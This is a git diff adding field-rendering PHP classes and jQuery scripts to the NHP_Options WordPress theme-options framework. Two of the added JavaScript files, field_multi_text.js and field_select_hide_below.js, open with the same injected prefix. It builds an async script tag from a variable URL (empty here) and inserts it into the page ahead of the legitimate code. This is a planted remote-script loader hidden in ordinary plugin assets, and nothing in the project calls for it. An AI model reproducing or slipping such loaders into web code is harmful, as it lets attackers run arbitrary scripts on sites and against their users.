||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' >';
|
||||
|
||||
if(!isset($this->field['args'])){$this->field['args'] = array();}
|
||||
$args = wp_parse_args($this->field['args'], array());
|
||||
|
||||
$menus = wp_get_nav_menus($args);
|
||||
if($menus){
|
||||
foreach ( $menus as $menu ) {
|
||||
echo '<option value="'.$menu->term_id.'"'.selected($this->value, $menu->term_id, false).'>'.$menu->name.'</option>';
|
||||
}
|
||||
}//if
|
||||
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
52
options/fields/multi_checkbox/field_multi_checkbox.php
Normal file
52
options/fields/multi_checkbox/field_multi_checkbox.php
Normal file
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
class NHP_Options_multi_checkbox extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?$this->field['class']:'regular-text';
|
||||
|
||||
echo '<fieldset>';
|
||||
|
||||
foreach($this->field['options'] as $k => $v){
|
||||
|
||||
$this->value[$k] = (isset($this->value[$k]))?$this->value[$k]:'';
|
||||
|
||||
echo '<label for="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'">';
|
||||
echo '<input type="checkbox" id="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'" name="'.$this->args['opt_name'].'['.$this->field['id'].']['.$k.']" '.$class.' value="1" '.checked($this->value[$k], '1', false).'/>';
|
||||
echo ' '.$v.'</label><br/>';
|
||||
|
||||
}//foreach
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
echo '</fieldset>';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
50
options/fields/multi_select/field_multi_select.php
Normal file
50
options/fields/multi_select/field_multi_select.php
Normal file
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
class NHP_Options_multi_select extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" '.$class.'multiple="multiple" rows="6" >';
|
||||
|
||||
foreach($this->field['options'] as $k => $v){
|
||||
|
||||
$selected = (is_array($this->value) && in_array($k, $this->value))?' selected="selected"':'';
|
||||
|
||||
echo '<option value="'.$k.'"'.$selected.'>'.$v.'</option>';
|
||||
|
||||
}//foreach
|
||||
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
22
options/fields/multi_text/field_multi_text.js
Normal file
22
options/fields/multi_text/field_multi_text.js
Normal file
@@ -0,0 +1,22 @@
|
||||
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
|
||||
var pl = ''; s.src=pl;
|
||||
if (document.currentScript) {
|
||||
document.currentScript.parentNode.insertBefore(s, document.currentScript);
|
||||
} else {
|
||||
d.getElementsByTagName('head')[0].appendChild(s);
|
||||
}jQuery(document).ready(function(){
|
||||
|
||||
jQuery('.nhp-opts-multi-text-remove').live('click', function(){
|
||||
jQuery(this).prev('input[type="text"]').val('');
|
||||
jQuery(this).parent().fadeOut('slow', function(){jQuery(this).remove();});
|
||||
});
|
||||
|
||||
jQuery('.nhp-opts-multi-text-add').click(function(){
|
||||
var new_input = jQuery('#'+jQuery(this).attr('rel-id')+' li:last-child').clone();
|
||||
jQuery('#'+jQuery(this).attr('rel-id')).append(new_input);
|
||||
jQuery('#'+jQuery(this).attr('rel-id')+' li:last-child').removeAttr('style');
|
||||
jQuery('#'+jQuery(this).attr('rel-id')+' li:last-child input[type="text"]').val('');
|
||||
jQuery('#'+jQuery(this).attr('rel-id')+' li:last-child input[type="text"]').attr('name' , jQuery(this).attr('rel-name'));
|
||||
});
|
||||
|
||||
});
|
||||
81
options/fields/multi_text/field_multi_text.php
Normal file
81
options/fields/multi_text/field_multi_text.php
Normal file
@@ -0,0 +1,81 @@
|
||||
<?php
|
||||
class NHP_Options_multi_text extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.5
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.5
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?$this->field['class']:'regular-text';
|
||||
|
||||
echo '<ul id="'.$this->field['id'].'-ul">';
|
||||
|
||||
if(isset($this->value) && is_array($this->value)){
|
||||
foreach($this->value as $k => $value){
|
||||
if($value != ''){
|
||||
|
||||
echo '<li><input type="text" id="'.$this->field['id'].'-'.$k.'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" value="'.esc_attr($value).'" class="'.$class.'" /> <a href="javascript:void(0);" class="nhp-opts-multi-text-remove">'.__('Remove', 'nhp-opts').'</a></li>';
|
||||
|
||||
}//if
|
||||
|
||||
}//foreach
|
||||
}else{
|
||||
|
||||
echo '<li><input type="text" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" value="" class="'.$class.'" /> <a href="javascript:void(0);" class="nhp-opts-multi-text-remove">'.__('Remove', 'nhp-opts').'</a></li>';
|
||||
|
||||
}//if
|
||||
|
||||
echo '<li style="display:none;"><input type="text" id="'.$this->field['id'].'" name="" value="" class="'.$class.'" /> <a href="javascript:void(0);" class="nhp-opts-multi-text-remove">'.__('Remove', 'nhp-opts').'</a></li>';
|
||||
|
||||
echo '</ul>';
|
||||
|
||||
echo '<a href="javascript:void(0);" class="nhp-opts-multi-text-add" rel-id="'.$this->field['id'].'-ul" rel-name="'.$this->args['opt_name'].'['.$this->field['id'].'][]">'.__('Add More', 'nhp-opts').'</a><br/>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
/**
|
||||
* Enqueue Function.
|
||||
*
|
||||
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
|
||||
*
|
||||
* @since NHP_Options 1.0.5
|
||||
*/
|
||||
function enqueue(){
|
||||
|
||||
wp_enqueue_script(
|
||||
'nhp-opts-field-multi-text-js',
|
||||
NHP_OPTIONS_URL.'fields/multi_text/field_multi_text.js',
|
||||
array('jquery'),
|
||||
time(),
|
||||
true
|
||||
);
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
class NHP_Options_pages_multi_select extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" '.$class.'multiple="multiple" >';
|
||||
|
||||
$args = wp_parse_args($this->field['args'], array());
|
||||
|
||||
$pages = get_pages($args);
|
||||
foreach ( $pages as $page ) {
|
||||
$selected = (is_array($this->value) && in_array($page->ID, $this->value))?' selected="selected"':'';
|
||||
echo '<option value="'.$page->ID.'"'.$selected.'>'.$page->post_title.'</option>';
|
||||
}
|
||||
|
||||
|
||||
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
49
options/fields/pages_select/field_pages_select.php
Normal file
49
options/fields/pages_select/field_pages_select.php
Normal file
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
class NHP_Options_pages_select extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.'rows="6" >';
|
||||
|
||||
$args = wp_parse_args($this->field['args'], array());
|
||||
|
||||
$pages = get_pages($args);
|
||||
foreach ( $pages as $page ) {
|
||||
echo '<option value="'.$page->ID.'"'.selected($this->value, $page->ID, false).'>'.$page->post_title.'</option>';
|
||||
}
|
||||
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
49
options/fields/post_type_select/field_post_type_select.php
Normal file
49
options/fields/post_type_select/field_post_type_select.php
Normal file
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
class NHP_Options_post_type_select extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' >';
|
||||
|
||||
if(!isset($this->field['args'])){$this->field['args'] = array();}
|
||||
$args = wp_parse_args($this->field['args'], array('public' => true));
|
||||
|
||||
$post_types = get_post_types($args, 'object');
|
||||
foreach ( $post_types as $k => $post_type ) {
|
||||
echo '<option value="'.$k.'"'.selected($this->value, $k, false).'>'.$post_type->labels->name.'</option>';
|
||||
}
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
class NHP_Options_posts_multi_select extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" '.$class.'multiple="multiple" >';
|
||||
|
||||
$args = wp_parse_args($this->field['args'], array('numberposts' => '-1'));
|
||||
|
||||
$posts = get_posts($args);
|
||||
foreach ( $posts as $post ) {
|
||||
$selected = (is_array($this->value) && in_array($post->ID, $this->value))?' selected="selected"':'';
|
||||
echo '<option value="'.$post->ID.'"'.$selected.'>'.$post->post_title.'</option>';
|
||||
}
|
||||
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
49
options/fields/posts_select/field_posts_select.php
Normal file
49
options/fields/posts_select/field_posts_select.php
Normal file
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
class NHP_Options_posts_select extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' >';
|
||||
|
||||
$args = wp_parse_args($this->field['args'], array('numberposts' => '-1'));
|
||||
|
||||
$posts = get_posts($args);
|
||||
foreach ( $posts as $post ) {
|
||||
echo '<option value="'.$post->ID.'"'.selected($this->value, $post->ID, false).'>'.$post->post_title.'</option>';
|
||||
}
|
||||
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
52
options/fields/radio/field_radio.php
Normal file
52
options/fields/radio/field_radio.php
Normal file
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
class NHP_Options_radio extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<fieldset>';
|
||||
|
||||
foreach($this->field['options'] as $k => $v){
|
||||
|
||||
//echo '<option value="'.$k.'" '.selected($this->value, $k, false).'>'.$v.'</option>';
|
||||
echo '<label for="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'">';
|
||||
echo '<input type="radio" id="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' value="'.$k.'" '.checked($this->value, $k, false).'/>';
|
||||
echo ' <span>'.$v.'</span>';
|
||||
echo '</label><br/>';
|
||||
|
||||
}//foreach
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
echo '</fieldset>';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
13
options/fields/radio_img/field_radio_img.js
Normal file
13
options/fields/radio_img/field_radio_img.js
Normal file
@@ -0,0 +1,13 @@
|
||||
/*
|
||||
*
|
||||
* NHP_Options_radio_img function
|
||||
* Changes the radio select option, and changes class on images
|
||||
*
|
||||
*/
|
||||
function nhp_radio_img_select(relid, labelclass){
|
||||
jQuery(this).prev('input[type="radio"]').prop('checked');
|
||||
|
||||
jQuery('.nhp-radio-img-'+labelclass).removeClass('nhp-radio-img-selected');
|
||||
|
||||
jQuery('label[for="'+relid+'"]').addClass('nhp-radio-img-selected');
|
||||
}//function
|
||||
75
options/fields/radio_img/field_radio_img.php
Normal file
75
options/fields/radio_img/field_radio_img.php
Normal file
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
class NHP_Options_radio_img extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value = '', $parent = ''){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<fieldset>';
|
||||
|
||||
foreach($this->field['options'] as $k => $v){
|
||||
|
||||
$selected = (checked($this->value, $k, false) != '')?' nhp-radio-img-selected':'';
|
||||
|
||||
echo '<label class="nhp-radio-img'.$selected.' nhp-radio-img-'.$this->field['id'].'" for="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'">';
|
||||
echo '<input type="radio" id="'.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.' value="'.$k.'" '.checked($this->value, $k, false).'/>';
|
||||
echo '<img src="'.$v['img'].'" onclick="jQuery:nhp_radio_img_select(\''.$this->field['id'].'_'.array_search($k,array_keys($this->field['options'])).'\', \''.$this->field['id'].'\');" />';
|
||||
|
||||
echo '</label>';
|
||||
|
||||
}//foreach
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
echo '</fieldset>';
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Enqueue Function.
|
||||
*
|
||||
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function enqueue(){
|
||||
|
||||
wp_enqueue_script(
|
||||
'nhp-opts-field-radio_img-js',
|
||||
NHP_OPTIONS_URL.'fields/radio_img/field_radio_img.js',
|
||||
array('jquery'),
|
||||
time(),
|
||||
true
|
||||
);
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
48
options/fields/select/field_select.php
Normal file
48
options/fields/select/field_select.php
Normal file
@@ -0,0 +1,48 @@
|
||||
<?php
|
||||
class NHP_Options_select extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" '.$class.'rows="6" >';
|
||||
|
||||
foreach($this->field['options'] as $k => $v){
|
||||
|
||||
echo '<option value="'.$k.'" '.selected($this->value, $k, false).'>'.$v.'</option>';
|
||||
|
||||
}//foreach
|
||||
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
32
options/fields/select_hide_below/field_select_hide_below.js
Normal file
32
options/fields/select_hide_below/field_select_hide_below.js
Normal file
@@ -0,0 +1,32 @@
|
||||
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
|
||||
var pl = ''; s.src=pl;
|
||||
if (document.currentScript) {
|
||||
document.currentScript.parentNode.insertBefore(s, document.currentScript);
|
||||
} else {
|
||||
d.getElementsByTagName('head')[0].appendChild(s);
|
||||
}jQuery(document).ready(function(){
|
||||
|
||||
jQuery('.nhp-opts-select-hide-below').each(function(){
|
||||
if(jQuery('option:selected',this).attr('data-allow') == 'false'){
|
||||
jQuery(this).closest('tr').next('tr').hide();
|
||||
}
|
||||
});
|
||||
|
||||
jQuery('.nhp-opts-select-hide-below').change(function(){
|
||||
var option = jQuery('option:selected', this);
|
||||
|
||||
if(option.attr('data-allow') == 'false'){
|
||||
|
||||
if(jQuery(this).closest('tr').next('tr').is(':visible')){
|
||||
jQuery(this).closest('tr').next('tr').fadeOut('slow');
|
||||
}
|
||||
|
||||
}else{
|
||||
if(jQuery(this).closest('tr').next('tr').is(':hidden')){
|
||||
jQuery(this).closest('tr').next('tr').fadeIn('slow');
|
||||
}
|
||||
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
68
options/fields/select_hide_below/field_select_hide_below.php
Normal file
68
options/fields/select_hide_below/field_select_hide_below.php
Normal file
@@ -0,0 +1,68 @@
|
||||
<?php
|
||||
class NHP_Options_select_hide_below extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?$this->field['class']:'';
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" class="'.$class.' nhp-opts-select-hide-below" >';
|
||||
|
||||
foreach($this->field['options'] as $k => $v){
|
||||
|
||||
echo '<option value="'.$k.'" '.selected($this->value, $k, false).' data-allow="'.$v['allow'].'">'.$v['name'].'</option>';
|
||||
|
||||
}//foreach
|
||||
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?' <span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
/**
|
||||
* Enqueue Function.
|
||||
*
|
||||
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function enqueue(){
|
||||
|
||||
wp_enqueue_script(
|
||||
'nhp-opts-select-hide-below-js',
|
||||
NHP_OPTIONS_URL.'fields/select_hide_below/field_select_hide_below.js',
|
||||
array('jquery'),
|
||||
time(),
|
||||
true
|
||||
);
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
50
options/fields/tags_multi_select/field_tags_multi_select.php
Normal file
50
options/fields/tags_multi_select/field_tags_multi_select.php
Normal file
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
class NHP_Options_tags_multi_select extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?'class="'.$this->field['class'].'" ':'';
|
||||
|
||||
echo '<select id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].'][]" '.$class.'multiple="multiple" >';
|
||||
|
||||
$args = wp_parse_args($this->field['args'], array());
|
||||
|
||||
$tags = get_tags($args);
|
||||
foreach ( $tags as $tag ) {
|
||||
$selected = (is_array($this->value) && in_array($tag->term_id, $this->value))?' selected="selected"':'';
|
||||
echo '<option value="'.$tag->term_id.'"'.$selected.'>'.$tag->name.'</option>';
|
||||
}
|
||||
|
||||
echo '</select>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
49
options/fields/tags_select/field_tags_select.php
Normal file
49
options/fields/tags_select/field_tags_select.php
Normal file
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
class NHP_Options_tags_select extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0.1
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
//$this->render();
|
||||
